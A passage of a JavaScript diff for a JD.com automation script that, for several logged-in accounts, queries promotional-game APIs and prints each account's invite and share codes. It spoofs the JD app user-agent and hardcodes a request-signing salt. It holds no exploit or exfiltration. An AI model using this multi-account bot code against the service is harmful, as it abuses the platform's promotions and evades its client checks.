$.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + if (!$.isLogin) { + continue + } + await getShareCode() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function getJdFactory() { + return new Promise(resolve => { + $.post( + taskPostUrl("jdfactory_getTaskDetail", {}, "jdfactory_getTaskDetail"), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`$东东工厂 API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos; //任务列表 + $.taskVos.map((item) => { + if (item.taskType === 14) { + console.log( + `【京东账号${$.index}(${$.UserName})东东工厂】${item.assistTaskDetailVo.taskToken}` + ); + } + }); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }) +} +function getJxFactory(){ + const JX_API_HOST = "https://m.jingxi.com"; + + function JXGC_taskurl(functionId, body = "") { + return { + url: `${JX_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now()}`, + headers: { + Cookie: cookie, + Host: "m.jingxi.com", + Accept: "*/*", + Connection: "keep-alive", + "User-Agent": + "jdpingou;iPhone;3.14.4;14.0;ae75259f6ca8378672006fc41079cd8c90c53be8;network/wifi;model/iPhone10,2;appBuild/100351;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/62;pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", + "Accept-Language": "zh-cn", + Referer: "https://wqsd.jd.com/pingou/dream_factory/index.html", + "Accept-Encoding": "gzip, deflate, br", + }, + }; + } + + return new Promise(resolve => { + $.get( + JXGC_taskurl( + "userinfo/GetUserInfo", + `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=` + ), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`京喜工厂 API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data["ret"] === 0) { + data = data["data"]; + $.unActive = true; //标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ""; + $.shelvesList = []; + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + const productionStage = data.productionStage; + $.factoryId = factory.factoryId; //工厂ID + $.productionId = production.productionId; //商品ID + $.commodityDimId = production.commodityDimId; + $.encryptPin = data.user.encryptPin; + // subTitle = data.user.pin; + console.log(`【京东账号${$.index}(${$.UserName})京喜工厂】${data.user.encryptPin}`); + } + } else { + $.unActive = false; //标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + console.log( + `【提示】京东账号${$.index}[${$.nickName}]京喜工厂活动未开始请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动` + ); + } else if (data.factoryList && !data.productionList) { + console.log( + `【提示】京东账号${$.index}[${$.nickName}]京喜工厂未选购商品请手动去京东APP->游戏与互动->查看更多->京喜工厂 选购` + ); + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + } + ); + }) +} + +function getJxNc(){ + const JXNC_API_HOST = "https://wq.jd.com/"; + + function JXNC_taskurl(function_path, body) { + return { + url: `${JXNC_API_HOST}cubeactive/farm/${function_path}?${body}&farm_jstoken=&phoneid=×tamp=&sceneval=2&g_login_type=1&_=${Date.now()}&g_ty=ls`, + headers: { + Cookie: cookie, + Accept: `*/*`, + Connection: `keep-alive`, + Referer: `https://st.jingxi.com/pingou/dream_factory/index.html`, + 'Accept-Encoding': `gzip, deflate, br`, + Host: `wq.jd.com`, + 'Accept-Language': `zh-cn`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + }; + } + +/* return new Promise(resolve => { + $.get( + JXNC_taskurl('query', `type=1`), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`京喜农场 API请求失败,请检查网路重试`); + } else { + data = data.match(/try\{Query\(([\s\S]*)\)\;\}catch\(e\)\{\}/)[1]; + if (safeGet(data)) { + data = JSON.parse(data); + if (data["ret"] === 0) { + if (data.active) { + let shareCodeJson = { + 'smp': data.smp, + 'active': data.active, + 'joinnum': data.joinnum, + }; + console.log(`注意:京喜农场 种植种子发生变化的时候,互助码也会变!!`); + console.log(`【京东账号${$.index}(${$.UserName})京喜农场】` + JSON.stringify(shareCodeJson)); + } else { + console.log(`【京东账号${$.index}(${$.UserName})京喜农场】未选择种子,请先去京喜农场选择种子`); + } + } + } else { + console.log(`京喜农场返回值解析异常:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + } + ); + }) */ + +} + +function getJdPet(){ + const JDPet_API_HOST = "https://api.m.jd.com/client.action"; + + function jdPet_Url(function_id, body = {}) { + body["version"] = 2; + body["channel"] = "app"; + return { + url: `${JDPet_API_HOST}?functionId=${function_id}`, + body: `body=${escape( + JSON.stringify(body) + )}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, + headers: { + Cookie: cookie, + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + Host: "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + }, + }; + } + return new Promise(resolve => { + $.post(jdPet_Url("initPetTown"), async (err, resp, data) => { + try { + if (err) { + console.log("东东萌宠: API查询请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + data = JSON.parse(data); + + const initPetTownRes = data; + + message = `【京东账号${$.index}】${$.nickName}`; + if ( + initPetTownRes.code === "0" && + initPetTownRes.resultCode === "0" && + initPetTownRes.message === "success" + ) { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus === 0) { + /*console.log( + `【提示】京东账号${$.index}${$.nickName}萌宠活动未开启请手动去京东APP开启活动入口:我的->游戏与互动->查看更多开启` + );*/ + return; + } + + console.log( + `【京东账号${$.index}(${$.UserName})京东萌宠】${$.petInfo.shareCode}` + ); + + } else if (initPetTownRes.code === "0") { + console.log(`初始化萌宠失败: ${initPetTownRes.message}`); + } else { + console.log("shit"); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} +async function getJdZZ() { + const JDZZ_API_HOST = "https://api.m.jd.com/client.action"; + function getTaskList() { + return new Promise(resolve => { + $.get(taskZZUrl("interactTaskIndex"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.taskList = data.data.taskDetailResList; + if ($.taskList.filter(item => !!item && item['taskId']=== 3) && $.taskList.filter(item => !!item && item['taskId']=== 3).length) { + console.log(`【京东账号${$.index}(${$.UserName})的京东赚赚好友互助码】${$.taskList.filter(item => !!item && item['taskId']=== 3)[0]['itemId']}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + } + + function taskZZUrl(functionId, body = {}) { + return { + url: `${JDZZ_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + } + + await getTaskList() +} +async function getPlantBean() { + const JDplant_API_HOST = "https://api.m.jd.com/client.action"; + + async function plantBeanIndex() { + $.plantBeanIndexResult = await plant_request("plantBeanIndex"); //plantBeanIndexBody + } + + function plant_request(function_id, body = {}) { + return new Promise(async (resolve) => { + $.post(plant_taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log("种豆得豆: API查询请求失败 ‼️‼️"); + console.log(`function_id:${function_id}`); + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); + } + + function plant_taskUrl(function_id, body) { + body["version"] = "9.0.0.1"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JDplant_API_HOST, + body: `functionId=${function_id}&body=${escape( + JSON.stringify(body) + )}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, + headers: { + Cookie: cookie, + Host: "api.m.jd.com", + Accept: "*/*", + Connection: "keep-alive", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Accept-Language": "zh-Hans-CN;q=1,en-CN;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + }, + }; + } + + function getParam(url, name) { + const reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); + const r = url.match(reg); + if (r != null) return unescape(r[2]); + return null; + } + + async function jdPlantBean() { + await plantBeanIndex(); + // console.log(plantBeanIndexResult.data.taskList); + if ($.plantBeanIndexResult.code === "0") { + const shareUrl = $.plantBeanIndexResult.data.jwordShareInfo.shareUrl; + $.myPlantUuid = getParam(shareUrl, "plantUuid"); + console.log(`【京东账号${$.index}(${$.UserName})种豆得豆】${$.myPlantUuid}`); + + } else { + console.log( + `种豆得豆-初始失败: ${JSON.stringify($.plantBeanIndexResult)}` + ); + } + } + + await jdPlantBean(); +} +async function getJDFruit() { + async function initForFarm() { + return new Promise((resolve) => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape( + JSON.stringify({version: 4}) + )}&appid=wh5&clientVersion=9.1.0`, + headers: { + accept: "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + cookie: cookie, + origin: "https://home.m.jd.com", + pragma: "no-cache", + referer: "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Content-Type": "application/x-www-form-urlencoded", + }, + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log("东东农场: API查询请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.farmInfo = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); + } + + async function jdFruit() { + await initForFarm(); + if ($.farmInfo.farmUserPro) { + console.log( + `【京东账号${$.index}(${$.UserName})京东农场】${$.farmInfo.farmUserPro.shareCode}` + ); + + } else { + /*console.log( + `初始化农场数据异常, 请登录京东 app查看农场0元水果功能是否正常,农场初始化数据: ${JSON.stringify( + $.farmInfo + )}` + );*/ + } + } + + await jdFruit(); +} +async function getJoy(){ + function taskUrl(functionId, body = '') { + let t = Date.now().toString().substr(0, 10) + let e = body || "" + e = $.md5("aDvScBv$gGQvrXfva8dG!ZC@DA70Y%lX" + e + t) + e = e + Number(t).toString(16) + return { + url: `${JD_API_HOST}?uts=${e}&appid=crazy_joy&functionId=${functionId}&body=${escape(body)}&t=${t}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Referer': 'https://crazy-joy.jd.com/', + 'origin': 'https://crazy-joy.jd.com', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + } + let body = {"paramData": {}} + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_user_gameState', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success && data.data && data.data.userInviteCode) { + console.log(`【京东账号${$.index}(${$.UserName})crazyJoy】${data.data.userInviteCode}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//闪购盲盒 +async function getSgmh(timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/client.action`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=interact_template_getHomeData&body={"appId":"1EFRXxg","taskToken":""}&client=wh5&clientVersion=1.0.0` + } + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + const invites = data.data.result.taskVos.filter(item => item['taskName'] === '邀请好友助力'); + console.log(`【京东账号${$.index}(${$.UserName})闪购盲盒】${invites && invites[0]['assistTaskDetailVo']['taskToken']}`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//财富岛 +function getCFD(showInvite = true) { + function taskUrl(function_path, body) { + return { + url: `https://m.jingxi.com/jxcfd/${function_path}?strZone=jxcfd&bizCode=jxcfd&source=jxcfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_ste=1&_=${Date.now()}&sceneval=2&g_login_type=1&g_ty=ls`, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent":`jdpingou;iPhone;3.15.2;14.2.1;ea00763447803eb0f32045dcba629c248ea53bb3;network/wifi;model/iPhone13,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`, + "Accept-Language": "zh-cn", + }, + }; + } + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`), (err, resp, data) => { + try { + const { + iret, + SceneList = {}, + XbStatus: { XBDetail = [], dwXBRemainCnt } = {}, + ddwMoney, + dwIsNewUser, + sErrMsg, + strMyShareId, + strPin, + } = JSON.parse(data); + console.log(`【京东账号${$.index}(${$.UserName})财富岛】${strMyShareId}`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +//领现金 +function getJdCash() { + function taskUrl(functionId, body = {}) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&appid=CashRewardMiniH5Env&appid=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + } + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_home",), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code===0 && data.data.result){ + console.log(`【京东账号${$.index}(${$.UserName})签到领现金】${data.data.result.inviteCode}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function getShareCode() { + console.log(`======账号${$.index}开始======`) + await getJDFruit() + await getJdPet() + await getPlantBean() + await getJdFactory() + await getJxFactory() + await getJxNc() + await getJdZZ() + await getJoy() + await getSgmh() + //await getCFD() + await getJdCash() + console.log(`======账号${$.index}结束======\n`) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape( + JSON.stringify(body) + )}&client=wh5&clientVersion=9.1.0`, + headers: { + Cookie: cookie, + origin: "https://h5.m.jd.com", + referer: "https://h5.m.jd.com/", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + }; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let 